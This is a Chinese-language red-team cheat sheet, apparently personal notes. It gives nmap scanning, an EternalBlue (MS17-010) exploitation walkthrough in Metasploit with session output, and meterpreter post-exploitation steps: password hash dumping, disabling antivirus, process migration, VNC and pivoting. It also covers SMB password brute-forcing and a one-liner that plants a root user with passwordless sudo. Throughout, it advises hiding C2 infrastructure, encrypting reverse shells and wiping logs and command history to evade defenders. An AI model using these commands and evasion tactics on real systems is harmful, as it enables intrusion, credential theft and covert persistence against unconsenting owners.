Red Team
常用命令
信息探测
端口扫描
# Namp各种扫描方式的参数
- TCP: -sT
- SYN: -sS
- ACK: -sA
- UDP: -sU
- RPC: -sR
- ICMP: -sP
- Disable Port Scan: -sn
# 扫描10000端口、操作系统、版本
nmap -T4 -A 10.0.4.146
# 默认单位秒,也可指定为毫秒,为1000ms
nmap -T4 -A 10.0.4.146 --scan-delay 1.1
# 版本探测 等待时间长
nmap -sV 10.0.4.146
# 操作系统探测
nmap -O 10.0.4.146
# 其它参数
--host-timeout 主机超时时间
--scan-delay 报文时间间隔,单位秒,常用值 1
-S <src_ip> 定义扫描源地址,为了降低被发现的概率
# 其它示例
# 随机选择 1000 台主机扫描是否运行Web服务器(80端口)。
nmap -v -iR 1000 -P0 -p 80
文件上传
在自己的攻击机如Kali上利用Python开 HTTP Server,让被攻击机从攻击机Kali上下载各种工具。完成后即可撤销。
- Python 2 version:
python -m SimpleHTTPServer 8000
- Python 3 version:
python -m http.server 8000
然后在浏览器输入:127.0.0.1:8000
即可访问该路径下的文件了。
红队基础设施建设
- Red-Baron,一个红队自动化部署脚本,但是因为最近都没更新,建议红队开发时参考就好。
红队攻防
权限维持
红队演练与APT相似的是核心同样在于 “持久化” ,建议还是私钥登录以及创建高权限用户为主。
可以做一些sudo提权或者SUID文件等操作间接的使用root权限。
在拿到shell后可以上线到自己C2上,Linux上线CobaltStrike的方式可以使用CrossC2插件进行。
反弹shell我们一定要用反向代理之类的手段隐匿真实VPS IP,并对Netcat进行流量加密。
使用nohup的方式留以持续性的代理的方式也比较容易被发现,所以建议使用frp进行代理,也因为它的可拓展性非常高,通过免杀或修改配置文件等方式可以进行躲避流量监测。
一定要对痕迹进行清理。
在蓝队处置的过程中,重点关注的对象就是一些登录、服务日志、进程、端口,新建文件,这也是雷区所在,一定要在这些方面下功夫。
尤其是历史命令,不清理被还原出攻击路径的概率非常大,这也会被一步步揪出来。
如果能够顺利通过处置人员的排查,那么恭喜你可以安心继续了,因为在非必要或确认失陷的情况,没有甲方愿意去隔离当前业务,尤其是对外服务、内部OA、工控系统等,停止业务系统都可能造成不可估量的损失。
在进入内网环境下,每一步操作都需要非常的慎重,尤其是涉及端口、进程的操作。因为稍有不慎,被捕获到异常操作,会引起防守方极大的重视。尤其是多次异常告警的情况下,通常在第一次告警的情况下,蓝队成员未排查出异常操作后会对该主机进行重点关注,如果继续出现告警,那么极有可能直接进行单机隔离。
对于一些新晋红队的同学,风起哥建议首先做好基础建设,比如免杀、隐匿、工具特征改造、匿名VPS、邮箱、手机号、身份信息等,最好在纯净的虚拟机中进行渗透操作(别搁虚拟机里看什么腾讯视频)。如果被蜜罐抓到ID,那么基本上被溯源出来的概率就很高了,你可能还在愉快的渗透着,突然告诉你出局了。
常规漏洞利用
ms17-010
- 内网探测可以利用主机
nmap -n -p445 --script smb-vuln-ms17-010 10.0.4.140/24 --open
虽然扫描速度很快,但可能存在五阿波
- 进入msf,通过使用auxiliary/scanner/smb/smb_ms17_010模块进行漏洞扫描(如果通过第0步已经确认可攻击的目标,可以直接到后面第4步对目标发起攻击)
# msfconsole
=[ metasploit v6.0.30-dev ]
+ -- --=[ 2099 exploits - 1129 auxiliary - 357 post ]
+ -- --=[ 592 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Enable verbose logging with set VERBOSE
true
msf6 > use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options
- 设置扫描目标的网段,看哪些目标存在漏洞
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 10.0.4.0/24
rhosts => 10.0.4.0/24
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
(本人内网测试的时候,扫描速度巨慢,但结果相对精准一些)
看结果,只有自己准备的靶机能用,不过检测结果还算精准。
- 通过使用
exploit/windows/smb/ms17_010_eternalblue
模块进行漏洞攻击
msf6 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.0.4.147
rhost => 10.0.4.147
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
# msf6 exploit(windows/smb/ms17_010_eternalblue) > show options
看执行结果可知攻击成功,获得session。
win7cmd,消除乱码用chcp 65001
命令
如果直接拿到系统权限,并且没有蓝屏,则可以进行后续渗透工作。比如用meterpreter进行后渗透测试。
meterpreter是一种高级、隐蔽、多层面的且可动态扩展的payload,可以将反射dll注入到目标主机的内存中,还可以在运行时动态加载脚本和插件来进行后渗透利用。
常用的meterpreter命令
1. screenshot # 获取活动用户的桌面截屏保存到相应目录
2. sysinfo # 获取系统运行的平台
3. run post/windows/gather/hashdump # 获取靶机上的账户密码哈希值
meterpreter > screenshot
Screenshot saved to: /root/VFsOPFXE.jpeg
meterpreter > sysinfo
Computer : ADMIN-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : zh_CN
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
Meterpreter跳转,并保持会话
4. background # 可以跳转到MSF终端里,Meterpreter的会话仍然在运行
5. sessions -l # 查看保持的会话连接列表
6. sessions -i <会话ID> # 返回对应ID的Meterpreter控制台
获取管理员权限
7. use priv # 加载priv扩展,以便访问某些特权模块
8. getsystem # 命令尝试将权限提升到本地系统权限或管理员权限
9. grtuid # 检查获取的权限等级,服务端用户名返回的是NT AUTHORITY\SYSTEM表示我们成功获得了管理员权限
10. rev2self # 切换回meterpreter shell 会话中的初始用户账号
令牌假冒
a、通过 rurn get_local_subnets 命令,在Meterpreter会话中展示受控系统上本地子网
b、执行添加路由命令 run autoroute -p 10.180.0.0/16
c、告知系统将通过远程网络ID(即受控主机的本地网络)通过会话1来进行路由,然后通过route list 命令显示当前活跃的路由设置,可以看到正如预期那样添加了路由
d、对目标linux系统进行第二次渗透攻击,使用基于Samba的堆溢出漏洞攻击,这个漏洞存在于我们的metasploitable靶机上。攻击成功时,所有的流量都会通过这台受控机器与子网中的其他目标进行通信
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 10.0.0.0/255.255.0.0
run autoroute -p 10.180.0.0/16
使用meterpreter脚本
1. run vnc 在远程系统上安装VNC会话。然后可以运行screen_unlock命令对目标机器上的桌面进行解锁,这样就能看到目标主机上的VNC窗口(解锁失败)
2. 进程迁移 可以将meterpreter会话迁移到内存空间中的其它稳定的、不会被关闭的服务进程中,以维持稳定的系统控制连接 run post/windows/manage/migrate
3. 关闭杀毒软件 在最新版本的metasploit中推荐使用 run post/windows/manage/killav
4. 获取密码哈希值 run post/windows/gather/smart_hashdump
5. 查看目标机上的所有流量 捕获的包都能以.pcap的文件格式存储下来,并能够被wireshark解析 run packetrecorder -i 1
6. scraper脚本 run scraper 可以列举出你想从系统得到的任何信息,可以攫取用户名和密码,下载全部注册表,挖掘密码哈希值、收集系统信息以及输出HKEY_CURRENT_USER(HKCU)
需要使用桌面版Kali
meterpreter > run vnc
[*] Creating a VNC reverse tcp stager: LHOST=10.0.4.144 LPORT=4545
[*] Running payload handler
[*] VNC stager executable 73802 bytes long
[*] Uploaded the VNC agent to C:\Windows\TEMP\rqrSzPhYAwKOS.exe (must be deleted manually)
[*] Executing the VNC agent with endpoint 10.0.4.144:4545...
meterpreter > run post/windows/manage/migrate
[*] Running module against ADMIN-PC
[*] Current server process: spoolsv.exe (576)
[*] Spawning notepad.exe process to migrate into
[*] Spoofing PPID 0
[*] Migrating into 2032
[+] Successfully migrated into process 2032
这里是从 当前进程576 迁移到 进程 2032
```shell script meterpreter > run scraper [] New session on 10.0.4.147:445... [] Gathering basic system information... [] Dumping password hashes... [] Obtaining the entire registry... [] Exporting HKCU [] Downloading HKCU (C:\Windows\TEMP\tnLjptrz.reg) [] Cleaning HKCU [] Exporting HKLM [] Downloading HKLM (C:\Windows\TEMP\NYKjcbmG.reg) [] Cleaning HKLM [] Exporting HKCC [] Downloading HKCC (C:\Windows\TEMP\qwGxHeUE.reg) [] Cleaning HKCC [] Exporting HKCR [] Downloading HKCR (C:\Windows\TEMP\QDKdXVcx.reg) [] Cleaning HKCR [] Exporting HKU [] Downloading HKU (C:\Windows\TEMP\BRGbnObL.reg) [] Cleaning HKU [] Completed processing on 10.0.4.147:445...
ref:
- [kail下使用exploit/windows/smb/ms17_010_eternalblue练习meterpreter](https://blog.csdn.net/yanyi3271/article/details/102803158)
- [【漏洞分析】MS 17-010:NSA Eternalblue SMB 漏洞分析](https://www.anquanke.com/post/id/85904)
- 《渗透攻击红队百科全书》
### smb 445探测
```shell
msf6 exploit(multi/samba/usermap_script) > search smb_version
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version
msf6 exploit(multi/samba/usermap_script) > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > show options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS 10.0.10.65 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
msf6 auxiliary(scanner/smb/smb_version) > run
[*] 10.0.10.65:445 - Force SMB1 since SMB fingerprint needs native_lm/native_os information
[*] 10.0.10.65:445 - SMB Detected (versions:2, 3) (preferred dialect:SMB 3.1.1) (compression capabilities:LZNT1) (encryption capabilities:AES-128-CCM) (signatures:optional) (guid:{927bdfc0-89f0-4623-935a-dd8921fa5ef4}) (authentication domain:DESKTOP-CJQ9OPG)
[*] 10.0.10.65:445 - Host could not be identified
[*] 10.0.10.65: - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
smb枚举
medusa -h 10.0.0.x -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt
nmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt 10.0.0.x -vvvv
nmap --script smb-brute 10.0.10.x
CentOS7提权
如果应用有REC还是root权限,可以反弹shell,也可以直接执行命令创建root账户
sudo useradd test && echo test:test123 | chpasswd && sudo usermod -a -G root test && tee /etc/sudoers.d/test <<< 'test ALL=(ALL) NOPASSWD: ALL'
CentOS7 有root执行权限的可以通过一个命令直接创建普通用户test并提权为root用户,且能免密执行sudo